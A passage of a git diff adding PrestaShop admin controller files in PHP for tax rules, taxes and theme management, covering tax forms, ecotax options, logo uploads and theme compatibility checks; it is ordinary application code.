($tax_rules_group->hasUniqueTaxRuleForCountry($id_country, $id_state)) + { + $this->errors[] = Tools::displayError('A tax rule already exists for this country/state with tax only behavior'); + continue; + } + $tr = new TaxRule(); + + // update or creation? + if (isset($id_rule)) + $tr->id = $id_rule; + + $tr->id_tax = $id_tax; + $tr->id_tax_rules_group = (int)$id_tax_rules_group; + $tr->id_country = (int)$id_country; + $tr->id_state = (int)$id_state; + list($tr->zipcode_from, $tr->zipcode_to) = $tr->breakDownZipCode($zip_code); + + // Construct Object Country + $country = new Country((int)$id_country, (int)$this->context->language->id); + + if ($zip_code && $country->need_zip_code) + { + if ($country->zip_code_format) + { + foreach (array($tr->zipcode_from, $tr->zipcode_to) as $zip_code) + if ($zip_code) + if (!$country->checkZipCode($zip_code)) + { + $this->errors[] = sprintf( + Tools::displayError('Zip/Postal code is invalid. Must be typed as follows: %s for %s'), + str_replace('C', $country->iso_code, str_replace('N', '0', str_replace('L', 'A', $country->zip_code_format))), $country->name + ); + } + } + } + + $tr->behavior = (int)$behavior; + $tr->description = $description; + $this->tax_rule = $tr; + $_POST['id_state'] = $tr->id_state; + + $this->errors = array_merge($this->errors, $this->validateTaxRule($tr)); + + if (count($this->errors) == 0) + if (!$tr->save()) + $this->errors[] = Tools::displayError('An error has occurred: Cannot save the current tax rule.'); + } + } + + if (count($this->errors) == 0) + Tools::redirectAdmin( + self::$currentIndex.'&'.$this->identifier.'='.(int)$id_tax_rules_group.'&conf=4&update'.$this->table.'&token='.$this->token + ); + else + $this->display = 'edit'; + } + + protected function processBulkDeleteTaxRules() + { + $this->deleteTaxRule(Tools::getValue('tax_ruleBox')); + } + + protected function processDeleteTaxRule() + { + $this->deleteTaxRule(array(Tools::getValue('id_tax_rule'))); + } + + protected function deleteTaxRule(array $id_tax_rule_list) + { + $result = true; + + foreach ($id_tax_rule_list as $id_tax_rule) + { + $tax_rule = new TaxRule((int)$id_tax_rule); + if (Validate::isLoadedObject($tax_rule)) + $result &= $tax_rule->delete(); + } + + Tools::redirectAdmin( + self::$currentIndex.'&'.$this->identifier.'='.(int)$tax_rule->id_tax_rules_group.'&conf=4&update'.$this->table.'&token='.$this->token + ); + } + + + /** + * check if the tax rule could be added in the database + * @param TaxRule $tr + */ + protected function validateTaxRule(TaxRule $tr) + { + // TODO: check if the rule already exists + return $tr->validateController(); + } +} + diff --git a/controllers/admin/AdminTaxesController.php b/controllers/admin/AdminTaxesController.php new file mode 100755 index 0000000..c039389 --- /dev/null +++ b/controllers/admin/AdminTaxesController.php @@ -0,0 +1,275 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminTaxesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'tax'; + $this->className = 'Tax'; + $this->lang = true; + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->bulk_actions = array( + 'delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')) + ); + + $this->fields_list = array( + 'id_tax' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'name' => array('title' => $this->l('Name'), 'width' => 'auto'), + 'rate' => array('title' => $this->l('Rate'), 'align' => 'center', 'suffix' => '%', 'width' => 50), + 'active' => array('title' => $this->l('Enabled'), 'width' => 25, 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'orderby' => false) + ); + + $ecotax_desc = ''; + if (Configuration::get('PS_USE_ECOTAX')) + $ecotax_desc = $this->l('If you disable the ecotax, the ecotax for all your products will be set to 0.'); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Tax options'), + 'fields' => array( + 'PS_TAX' => array( + 'title' => $this->l('Enable tax:'), + 'desc' => $this->l('Select whether or not to include tax on purchases'), + 'cast' => 'intval', 'type' => 'bool'), + 'PS_TAX_DISPLAY' => array( + 'title' => $this->l('Display tax in the shopping cart:'), + 'desc' => $this->l('Select whether or not to display tax on a distinct line in the cart.'), + 'cast' => 'intval', + 'type' => 'bool'), + 'PS_TAX_ADDRESS_TYPE' => array( + 'title' => $this->l('Based on:'), + 'cast' => 'pSQL', + 'type' => 'select', + 'list' => array( + array( + 'name' => $this->l('Invoice Address'), + 'id' => 'id_address_invoice' + ), + array( + 'name' => $this->l('Delivery Address'), + 'id' => 'id_address_delivery') + ), + 'identifier' => 'id' + ), + 'PS_USE_ECOTAX' => array( + 'title' => $this->l('Use ecotax:'), + 'desc' => $ecotax_desc, + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + ), + 'submit' => array() + ), + ); + + if (Configuration::get('PS_USE_ECOTAX')) + $this->fields_options['general']['fields']['PS_ECOTAX_TAX_RULES_GROUP_ID'] = array( + 'title' => $this->l('Ecotax'), + 'desc' => $this->l('Define the ecotax (e.g. French ecotax: 19.6%).'), + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'id_tax', + 'identifier' => 'id_tax_rules_group', + 'list' => TaxRulesGroup::getTaxRulesGroupsForOptions() + ); + + parent::__construct(); + + $this->_where .= ' AND a.deleted = 0'; + } + + /** + * Display delete action link + */ + public function displayDeleteLink($token = null, $id) + { + if (!array_key_exists('Delete', self::$cache_lang)) + self::$cache_lang['Delete'] = $this->l('Delete'); + + if (!array_key_exists('DeleteItem', self::$cache_lang)) + self::$cache_lang['DeleteItem'] = $this->l('Delete item #', __CLASS__, true, false); + + if (TaxRule::isTaxInUse($id)) + $confirm = $this->l('This tax is currently in use as tax rule. Are you sure you\'d like to continue?'); + + $this->context->smarty->assign(array( + 'href' => self::$currentIndex.'&'.$this->identifier.'='.$id.'&delete'.$this->table.'&token='.($token != null ? $token : $this->token), + 'confirm' => (isset($confirm) ? '\r'.$confirm : self::$cache_lang['DeleteItem'].$id.' ? '), + 'action' => self::$cache_lang['Delete'], + )); + + return $this->context->smarty->fetch('helpers/list/list_action_delete.tpl'); + } + + /** + * Fetch the template for action enable + * + * @param string $token + * @param int $id + * @param int $value state enabled or not + * @param string $active status + * @param int $id_category + * @param int $id_product + */ + public function displayEnableLink($token, $id, $value, $active, $id_category = null, $id_product = null) + { + if ($value && TaxRule::isTaxInUse($id)) + $confirm = $this->l('This tax is currently in use as a tax rule. If you continue, this tax will be removed from the tax rule. Are you sure you\'d like to continue?'); + + $tpl_enable = $this->context->smarty->createTemplate('helpers/list/list_action_enable.tpl'); + $tpl_enable->assign(array( + 'enabled' => (bool)$value, + 'url_enable' => self::$currentIndex.'&'.$this->identifier.'='.(int)$id.'&'.$active.$this->table. + ((int)$id_category && (int)$id_product ? '&id_category='.(int)$id_category : '').'&token='.($token != null ? $token : $this->token), + 'confirm' => isset($confirm) ? $confirm : null, + )); + + return $tpl_enable->fetch(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Taxes'), + 'image' => '../img/admin/dollar.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 33, + 'required' => true, + 'lang' => true, + 'hint' => $this->l('Invalid characters').' <>;=#{}', + 'desc' => $this->l('Tax name to display in carts and on invoices (e.g. VAT).') + ), + array( + 'type' => 'text', + 'label' => $this->l('Rate:'), + 'name' => 'rate', + 'size' => 4, + 'maxlength' => 6, + 'required' => true, + 'hint' => $this->l('Invalid characters').' <>;=#{}', + 'desc' => $this->l('Format: XX.XX or XX.XXX (e.g. 19.60 or 13.925)') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Enable:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + return parent::renderForm(); + } + + public function postProcess() + { + if ($this->action == 'save') + { + /* Checking fields validity */ + $this->validateRules(); + if (!count($this->errors)) + { + $id = (int)(Tools::getValue('id_'.$this->table)); + + /* Object update */ + if (isset($id) && !empty($id)) + { + $object = new $this->className($id); + if (Validate::isLoadedObject($object)) + { + $this->copyFromPost($object, $this->table); + $result = $object->update(false, false); + + if (!$result) + $this->errors[] = Tools::displayError('An error occurred while updating an object.').' <b>'.$this->table.'</b>'; + elseif ($this->postImage($object->id)) + Tools::redirectAdmin(self::$currentIndex.'&id_'.$this->table.'='.$object->id.'&conf=4'.'&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('An error occurred while updating an object.').' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + + /* Object creation */ + else + { + $object = new $this->className(); + $this->copyFromPost($object, $this->table); + if (!$object->add()) + $this->errors[] = Tools::displayError('An error occurred while creating an object.').' <b>'.$this->table.'</b>'; + elseif (($_POST['id_'.$this->table] = $object->id /* voluntary */) && $this->postImage($object->id) && $this->_redirect) + Tools::redirectAdmin(self::$currentIndex.'&id_'.$this->table.'='.$object->id.'&conf=3'.'&token='.$this->token); + } + } + } + else + parent::postProcess(); + } + + public function updateOptionPsUseEcotax($value) + { + $old_value = (int)Configuration::get('PS_USE_ECOTAX'); + + if ($old_value != $value) + { + // Reset ecotax + if ($value == 0) + Product::resetEcoTax(); + + Configuration::updateValue('PS_USE_ECOTAX', (int)$value); + } + } +} + diff --git a/controllers/admin/AdminThemesController.php b/controllers/admin/AdminThemesController.php new file mode 100755 index 0000000..08b2b1b --- /dev/null +++ b/controllers/admin/AdminThemesController.php @@ -0,0 +1,714 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminThemesControllerCore extends AdminController +{ + /** This value is used in isThemeCompatible method. only version node with an + * higher version number will be used in [theme]/config.xml + * @since 1.4.0.11, check theme compatibility 1.4 + * @static + */ + public static $check_features_version = '1.4'; + + /** $check_features is a multidimensional array used to check [theme]/config.xml values, + * and also checks prestashop current configuration if not match. + * @static + */ + public static $check_features = array( + 'ccc' => array( + 'attributes' => array( + 'available' => array( + 'value' => 'true', + /* + * accepted attribute value if value doesnt match, prestashop configuration value must have thoses values + */ + 'check_if_not_valid' => array( + 'PS_CSS_THEME_CACHE' => 0, + 'PS_JS_THEME_CACHE' => 0, + 'PS_HTML_THEME_COMPRESSION' => 0, + 'PS_JS_HTML_THEME_COMPRESSION' => 0, + ), + ), + ), + 'error' => 'This theme may not correctly use "combine, compress and cache"', + 'tab' => 'AdminPerformance', + ), + 'guest_checkout' => array( + 'attributes' => array( + 'available' => array( + 'value' => 'true', + 'check_if_not_valid' => array('PS_GUEST_CHECKOUT_ENABLED' => 0) + ), + ), + 'error' => 'This theme may not correctly use "guest checkout"', + 'tab' => 'AdminPreferences', + ), + 'one_page_checkout' => array( + 'attributes' => array( + 'available' => array( + 'value' => 'true', + 'check_if_not_valid' => array('PS_ORDER_PROCESS_TYPE' => 0), + ), + ), + 'error' => 'This theme may not correctly use "one page checkout"', + 'tab' => 'AdminPreferences', + ), + 'store_locator' => array( + 'attributes' => array( + 'available' => array( + 'value' => 'true', + 'check_if_not_valid' => array('PS_STORES_SIMPLIFIED' => 0,'PS_STORES_DISPLAY_FOOTER' => 0), + ) + ), + 'error' => 'This theme may not correctly use "display store location"', + 'tab' => 'AdminStores', + ) + ); + + public $className = 'Theme'; + public $table = 'theme'; + protected $toolbar_scroll = false; + + public function init() + { + // No cache for auto-refresh uploaded logo + header('Cache-Control: no-cache, must-revalidate'); + header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); + + parent::init(); + + $this->can_display_themes = (!Shop::isFeatureActive() || Shop::getContext() == Shop::CONTEXT_SHOP) ? true : false; + + $this->fields_options = array( + 'theme' => array( + 'title' => sprintf($this->l('Select a theme for shop %s'), $this->context->shop->name), + 'description' => (!$this->can_display_themes) ? $this->l('You must select a shop from the above list if you wish to choose a theme.') : '', + 'fields' => array( + 'theme_for_shop' => array( + 'type' => 'theme', + 'themes' => Theme::getThemes(), + 'id_theme' => $this->context->shop->id_theme, + 'can_display_themes' => $this->can_display_themes, + 'no_multishop_checkbox' => true, + ), + ), + ), + 'appearance' => array( + 'title' => $this->l('Appearance'), + 'icon' => 'email', + 'fields' => array( + 'PS_LOGO' => array( + 'title' => $this->l('Header logo'), + 'desc' => $this->l('Will appear on main page'), + 'type' => 'file', + 'thumb' => _PS_IMG_.Configuration::get('PS_LOGO').'?date='.time() + ), + 'PS_LOGO_MOBILE' => array( + 'title' => $this->l('Header logo for mobile'), + 'desc' => + ((Configuration::get('PS_LOGO_MOBILE') === false) ? '<span class="light-warning">'.$this->l('Warning: No mobile logo has been defined. The header logo will be used instead.').'</span><br />' : ''). + $this->l('Will appear on the main page of your mobile template. If left undefined, the header logo will be used.'), + 'type' => 'file', + 'thumb' => (Configuration::get('PS_LOGO_MOBILE') !== false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO_MOBILE'))) ? _PS_IMG_.Configuration::get('PS_LOGO_MOBILE').'?date='.time() : _PS_IMG_.Configuration::get('PS_LOGO').'?date='.time() + ), + 'PS_LOGO_MAIL' => array( + 'title' => $this->l('Mail logo'), + 'desc' => + ((Configuration::get('PS_LOGO_MAIL') === false) ? '<span class="light-warning">'.$this->l('Warning: No email logo has been indentified. The header logo will be used instead.').'</span><br />' : ''). + $this->l('Will appear on email headers. If undefined, the header logo will be used.'), + 'type' => 'file', + 'thumb' => (Configuration::get('PS_LOGO_MAIL') !== false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO_MAIL'))) ? _PS_IMG_.Configuration::get('PS_LOGO_MAIL').'?date='.time() : _PS_IMG_.Configuration::get('PS_LOGO').'?date='.time() + ), + 'PS_LOGO_INVOICE' => array( + 'title' => $this->l('Invoice logo'), + 'desc' => + ((Configuration::get('PS_LOGO_INVOICE') === false) ? '<span class="light-warning">'.$this->l('Warning: No invoice logo has been defined. The header logo will be used instead.').'</span><br />' : ''). + $this->l('Will appear on invoice headers. If undefined, the header logo will be used.'), + 'type' => 'file', + 'thumb' => (Configuration::get('PS_LOGO_INVOICE') !== false && file_exists(_PS_IMG_DIR_.Configuration::get('PS_LOGO_INVOICE'))) ? _PS_IMG_.Configuration::get('PS_LOGO_INVOICE').'?date='.time() : _PS_IMG_.Configuration::get('PS_LOGO').'?date='.time() + ), + 'PS_FAVICON' => array( + 'title' => $this->l('Favicon'), + 'hint' => $this->l('Only ICO format allowed'), + 'desc' => $this->l('Will appear in the address bar of your web browser.'), + 'type' => 'file', + 'thumb' => _PS_IMG_.Configuration::get('PS_FAVICON').'?date='.time() + ), + 'PS_STORES_ICON' => array( + 'title' => $this->l('Store icon'), + 'hint' => $this->l('Only GIF format allowed.'), + 'desc' => $this->l('Will appear on the store locator (inside Google Maps).').'<br />'.$this->l('Suggested size: 30x30, Transparent GIF'), + 'type' => 'file', + 'thumb' => _PS_IMG_.Configuration::get('PS_STORES_ICON').'?date='.time() + ), + 'PS_NAVIGATION_PIPE' => array( + 'title' => $this->l('Navigation pipe'), + 'desc' => $this->l('Used for the navigation path inside categories/product.'), + 'cast' => 'strval', + 'type' => 'text', + 'size' => 20 + ), + 'PS_ALLOW_MOBILE_DEVICE' => array( + 'title' => $this->l('Enable the mobile theme.'), + 'desc' => $this->l('Allows visitors browsing on mobile devices to view a lighter version of your website.'), + 'type' => 'radio', + 'required' => true, + 'validation' => 'isGenericName', + 'choices' => array( + 0 => $this->l('I\'d like to disable it, please. '), + 1 => $this->l('I\'d like to enable it only on smart phones.'), + 2 => $this->l('I\'d like to enable it only on tablets.'), + 3 => $this->l('I\'d like to enable it on both smart phones and tablets.') + ) + ), + 'PS_MAIL_COLOR' => array( + 'title' => $this->l('Mail color'), + 'desc' => $this->l('Your mail will be highlighted in this color. HTML colors only, please (e.g.').' "lightblue", "#CC6600")', + 'type' => 'color', + 'name' => 'PS_MAIL_COLOR', + 'size' => 30, + 'value' => Configuration::get('PS_MAIL_COLOR') + ) + ), + 'submit' => array('title' => $this->l('Save'), 'class' => 'button') + ) + ); + + $this->fields_list = array( + 'id_theme' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 20, + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 'auto', + ), + 'directory' => array( + 'title' => $this->l('Directory'), + 'width' => 'auto', + ), + ); + } + + protected function checkMobileNeeds() + { + $allow_mobile = (bool)Configuration::get('PS_ALLOW_MOBILE_DEVICE'); + if (!$allow_mobile && Context::getContext()->shop->getTheme() == 'default') + return; + + $iso_code = Country::getIsoById((int)Configuration::get('PS_COUNTRY_DEFAULT')); + $paypal_installed = (bool)Module::isInstalled('paypal'); + $paypal_countries = array('ES', 'FR', 'PL', 'IT'); + + if (!$paypal_installed && in_array($iso_code, $paypal_countries)) + { + if (!$this->isXmlHttpRequest()) + $this->warnings[] = $this->l('At this time, the mobile theme only works with PayPal\'s payment module. Please activate and configure the PayPal module to enable mobile payments.') + .'<br>'. + $this->l('In order to use the mobile theme, you must install and configure the PayPal module.'); + } + } + + public function renderForm() + { + $getAvailableThemes = Theme::getAvailable(false); + $available_theme_dir = array(); + $selected_theme_dir = null; + if ($this->object) + $selected_theme_dir = $this->object->directory; + + foreach ($getAvailableThemes as $k => $dirname) + { + $available_theme_dir[$k]['value'] = $dirname; + $available_theme_dir[$k]['label'] = $dirname; + $available_theme_dir[$k]['id'] = $dirname; + }; + + $this->fields_form = array( + 'tinymce' => false, + 'legend' => array( + 'title' => $this->l('Theme'), + 'image' => '../img/admin/themes.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name of the theme:'), + 'name' => 'name', + 'size' => 48, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + ), + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + // adding a new theme, you can create a directory, and copy from an existing theme + if ($this->display == 'add' || !$this->object->id) + { + $this->fields_form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Name of the theme\'s directory:'), + 'name' => 'directory', + 'required' => true, + 'desc' => $this->l('If the directory does not exists, it will be created.'), + ); + + $theme_query = Theme::getThemes(); + $this->fields_form['input'][] = array( + 'type' => 'select', + 'name' => 'based_on', + 'label' => $this->l('Copy missing files from existing theme:'), + 'desc' => $this->l('If you create a new theme, it\'s recommended that you use default theme files.'), + 'options' => array( + 'id' => 'id', 'name' => 'name', + 'default' => array('value' => 0, 'label' => ' - '), + 'query' => $theme_query, + ) + ); + } + else + $this->fields_form['input'][] = array( + 'type' => 'radio', + 'label' => $this->l('Directory:'), + 'name' => 'directory', + 'required' => true, + 'br' => true, + 'class' => 't', + 'values' => $available_theme_dir, + 'selected' => $selected_theme_dir, + 'desc' => $this->l('Please select a valid theme directory.'), + ); + + return parent::renderForm(); + } + + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + return parent::renderList(); + } + + /** + * copy $base_theme_dir into $target_theme_dir. + * + * @param string $base_theme_dir relative path to base dir + * @param string $target_theme_dir relative path to target dir + * @return boolean true if success + */ + protected static function copyTheme($base_theme_dir, $target_theme_dir) + { + $res = true; + $base_theme_dir = rtrim($base_theme_dir, '/').'/'; + $base_dir = _PS_ALL_THEMES_DIR_.$base_theme_dir; + $target_theme_dir = rtrim($target_theme_dir, '/').'/'; + $target_dir = _PS_ALL_THEMES_DIR_.$target_theme_dir; + $files = scandir($base_dir); + + foreach ($files as $file) + if (!in_array($file[0], array('.', '..', '.svn'))) + { + if (is_dir($base_dir.$file)) + { + if (!is_dir($target_dir.$file)) + mkdir($target_dir.$file, Theme::$access_rights); + + $res &= AdminThemesController::copyTheme($base_theme_dir.$file, $target_theme_dir.$file); + } + elseif (!file_exists($target_theme_dir.$file)) + $res &= copy($base_dir.$file, $target_dir.$file); + } + + return $res; + } + + public function processAdd() + { + $new_dir = Tools::getValue('directory'); + $res = true; + + if ($new_dir != '') + { + if (Validate::isDirName($new_dir) && !is_dir(_PS_ALL_THEMES_DIR_.$new_dir)) + { + $res &= mkdir(_PS_ALL_THEMES_DIR_.$new_dir, Theme::$access_rights); + if ($res) + $this->confirmations[] = $this->l('The directory was successfully created.'); + } + + if (0 !== $id_based = (int)Tools::getValue('based_on')) + { + $base_theme = new Theme($id_based); + $res = $this->copyTheme($base_theme->directory, $new_dir); + $base_theme = new Theme((int)Tools::getValue('based_on')); + } + } + + return parent::processAdd(); + } + + public function processDelete() + { + $obj = $this->loadObject(); + + if ($obj && is_dir(_PS_ALL_THEMES_DIR_.$obj->directory)) + Tools::deleteDirectory(_PS_ALL_THEMES_DIR_.$obj->directory.'/'); + + if ($obj && $obj->isUsed()) + { + $this->errors[] = $this->l('The theme is already being used by at least one shop. Please choose another theme before continuing.'); + return false; + } + + return parent::processDelete(); + } + + public function initContent() + { + + $this->checkMobileNeeds(); + + $themes = array(); + foreach (Theme::getThemes() as $theme) + $themes[] = $theme->directory; + + foreach (scandir(_PS_ALL_THEMES_DIR_) as $theme_dir) + if ($theme_dir[0] != '.' && Validate::isDirName($theme_dir) && is_dir(_PS_ALL_THEMES_DIR_.$theme_dir) && file_exists(_PS_ALL_THEMES_DIR_.$theme_dir.'/preview.jpg') && !in_array($theme_dir, $themes)) + { + $theme = new Theme(); + $theme->name = $theme->directory = $theme_dir; + $theme->add(); + } + + $content = ''; + if (file_exists(_PS_IMG_DIR_.'logo.jpg')) + { + list($width, $height, $type, $attr) = getimagesize(_PS_IMG_DIR_.Configuration::get('PS_LOGO')); + Configuration::updateValue('SHOP_LOGO_HEIGHT', (int)round($height)); + Configuration::updateValue('SHOP_LOGO_WIDTH', (int)round($width)); + } + if (file_exists(_PS_IMG_DIR_.'logo_mobile.jpg')) + { + list($width, $height, $type, $attr) = getimagesize(_PS_IMG_DIR_.Configuration::get('PS_LOGO_MOBILE')); + Configuration::updateValue('SHOP_LOGO_MOBILE_HEIGHT', (int)round($height)); + Configuration::updateValue('SHOP_LOGO_MOBILE_WIDTH', (int)round($width)); + } + + $this->content .= $content; + return parent::initContent(); + } + + public function ajaxProcessGetAddonsThemes() + { + // notice : readfile should be replaced by something else + if (@fsockopen('addons.prestashop.com', 80, $errno, $errst, 3)) + @readfile('http://addons.prestashop.com/adminthemes.php?lang='.$this->context->language->iso_code); + } + + /** + * This function checks if the theme designer has thunk to make his theme compatible 1.4, + * and noticed it on the $theme_dir/config.xml file. If not, some new functionnalities has + * to be desactivated + * + * @since 1.4 + * @param string $theme_dir theme directory + * @return boolean Validity is ok or not + */ + protected function _isThemeCompatible($theme_dir) + { + $return = true; + $check_version = AdminThemes::$check_features_version; + + if (!is_file(_PS_ALL_THEMES_DIR_.$theme_dir.'/config.xml')) + { + $this->errors[] = Tools::displayError('config.xml is missing in your theme path.').'<br/>'; + $xml = null; + } + else + { + $xml = @simplexml_load_file(_PS_ALL_THEMES_DIR_.$theme_dir.'/config.xml'); + if (!$xml) + $this->errors[] = Tools::displayError('config.xml is not a valid xml file in your theme path.').'<br/>'; + } + // will be set to false if any version node in xml is correct + $xml_version_too_old = true; + + // foreach version in xml file, + // node means feature, attributes has to match + // the corresponding value in AdminThemes::$check_features[feature] array + $xmlArray = simpleXMLToArray($xml); + foreach ($xmlArray as $version) + { + if (isset($version['value']) && version_compare($version['value'], $check_version) >= 0) + { + foreach (AdminThemes::$check_features as $codeFeature => $arrConfigToCheck) + foreach ($arrConfigToCheck['attributes'] as $attr => $v) + if (!isset($version[$codeFeature]) || !isset($version[$codeFeature][$attr]) || $version[$codeFeature][$attr] != $v['value']) + if (!$this->_checkConfigForFeatures($codeFeature, $attr)) // feature missing in config.xml file, or wrong attribute value + $return = false; + $xml_version_too_old = false; + } + } + if ($xml_version_too_old && !$this->_checkConfigForFeatures(array_keys(AdminThemes::$check_features))) + { + $this->errors[] .= Tools::displayError('config.xml theme file has not been created for this version of PrestaShop.'); + $return = false; + } + return $return; + } + + /** + * _checkConfigForFeatures + * + * @param array $arrFeature array of feature code to check + * @param mixed $configItem will precise the attribute which not matches. If empty, will check every attributes + * @return error message, or null if disabled + */ + protected function _checkConfigForFeatures($arrFeatures, $configItem = array()) + { + $return = true; + if (is_array($configItem)) + { + foreach ($arrFeatures as $feature) + if (!count($configItem)) + $configItem = array_keys(AdminThemes::$check_features[$feature]['attributes']); + foreach ($configItem as $attr) + { + $check = $this->_checkConfigForFeatures($arrFeatures, $attr); + if ($check == false) + $return = false; + } + return $return; + } + + $return = true; + if (!is_array($arrFeatures)) + $arrFeatures = array($arrFeatures); + + foreach ($arrFeatures as $feature) + { + $arrConfigToCheck = AdminThemes::$check_features[$feature]['attributes'][$configItem]['check_if_not_valid']; + foreach ($arrConfigToCheck as $config_key => $config_val) + { + $config_get = Configuration::get($config_key); + if ($config_get != $config_val) + { + $this->errors[] = Tools::displayError(AdminThemes::$check_features[$feature]['error']).'.' + .(!empty(AdminThemes::$check_features[$feature]['tab']) + ?' <a href="?tab='.AdminThemes::$check_features[$feature]['tab'].'&token=' + .Tools::getAdminTokenLite(AdminThemes::$check_features[$feature]['tab']).'" ><u>' + .Tools::displayError('You can disable this function.') + .'</u></a>':'' + ).'<br/>'; + $return = false; + break; // break for this attributes + } + } + } + return $return; + } + + /** + * This functions make checks about AdminThemes configuration edition only. + * + * @since 1.4 + */ + public function postProcess() + { + // new check compatibility theme feature (1.4) : + $val = Tools::getValue('PS_THEME'); + Configuration::updateValue('PS_IMG_UPDATE_TIME', time()); + if (!empty($val) && !$this->_isThemeCompatible($val)) // don't submit if errors + unset($_POST['submitThemes'.$this->table]); + Tools::clearCache($this->context->smarty); + + return parent::postProcess(); + } + + /** + * Update PS_LOGO + */ + public function updateOptionPsLogo() + { + $this->updateLogo('PS_LOGO', 'logo'); + } + + /** + * Update PS_LOGO_MOBILE + */ + public function updateOptionPsLogoMobile() + { + $this->updateLogo('PS_LOGO_MOBILE', 'logo_mobile'); + } + + /** + * Update PS_LOGO_MAIL + */ + public function updateOptionPsLogoMail() + { + $this->updateLogo('PS_LOGO_MAIL', 'logo_mail'); + } + + /** + * Update PS_LOGO_INVOICE + */ + public function updateOptionPsLogoInvoice() + { + $this->updateLogo('PS_LOGO_INVOICE', 'logo_invoice'); + } + + /** + * Update PS_STORES_ICON + */ + public function updateOptionPsStoresIcon() + { + $this->updateLogo('PS_STORES_ICON', 'logo_stores'); + } + + /** + * Generic function which allows logo upload + * + * @param $field_name + * @param $logo_prefix + * @return bool + */ + protected function updateLogo($field_name, $logo_prefix) + { + $id_shop = Context::getContext()->shop->id; + if (isset($_FILES[$field_name]['tmp_name']) && $_FILES[$field_name]['tmp_name']) + { + if ($error = ImageManager::validateUpload($_FILES[$field_name], 300000)) + $this->errors[] = $error; + + $tmp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + if (!$tmp_name || !move_uploaded_file($_FILES[$field_name]['tmp_name'], $tmp_name)) + return false; + + $ext = ($field_name == 'PS_STORES_ICON') ? '.gif' : '.jpg'; + $logo_name = $logo_prefix.'-'.(int)$id_shop.$ext; + if (Context::getContext()->shop->getContext() == Shop::CONTEXT_ALL || $id_shop == 0) + $logo_name = $logo_prefix.$ext; + + if ($field_name == 'PS_STORES_ICON') + { + if (!@ImageManager::resize($tmp_name, _PS_IMG_DIR_.$logo_name, null, null, 'gif', true)) + $this->errors[] = Tools::displayError('An error occurred while attempting to copy your logo.'); + } + else + { + if (!@ImageManager::resize($tmp_name, _PS_IMG_DIR_.$logo_name)) + $this->errors[] = Tools::displayError('An error occurred while attempting to copy your logo.'); + } + + Configuration::updateValue($field_name, $logo_name); + $this->fields_options['appearance']['fields'][$field_name]['thumb'] = _PS_IMG_.$logo_name.'?date='.time(); + + unlink($tmp_name); + } + } + + /** + * Update PS_FAVICON + */ + public function updateOptionPsFavicon() + { + $id_shop = Context::getContext()->shop->id; + if ($id_shop == Configuration::get('PS_SHOP_DEFAULT')) + $this->uploadIco('PS_FAVICON', _PS_IMG_DIR_.'favicon.ico'); + if ($this->uploadIco('PS_FAVICON', _PS_IMG_DIR_.'favicon-'.(int)$id_shop.'.ico')) + Configuration::updateValue('PS_FAVICON', 'favicon-'.(int)$id_shop.'.ico'); + + Configuration::updateGlobalValue('PS_FAVICON', 'favicon.ico'); + } + + /** + * Update theme for current shop + */ + public function updateOptionThemeForShop() + { + if (!$this->can_display_themes) + 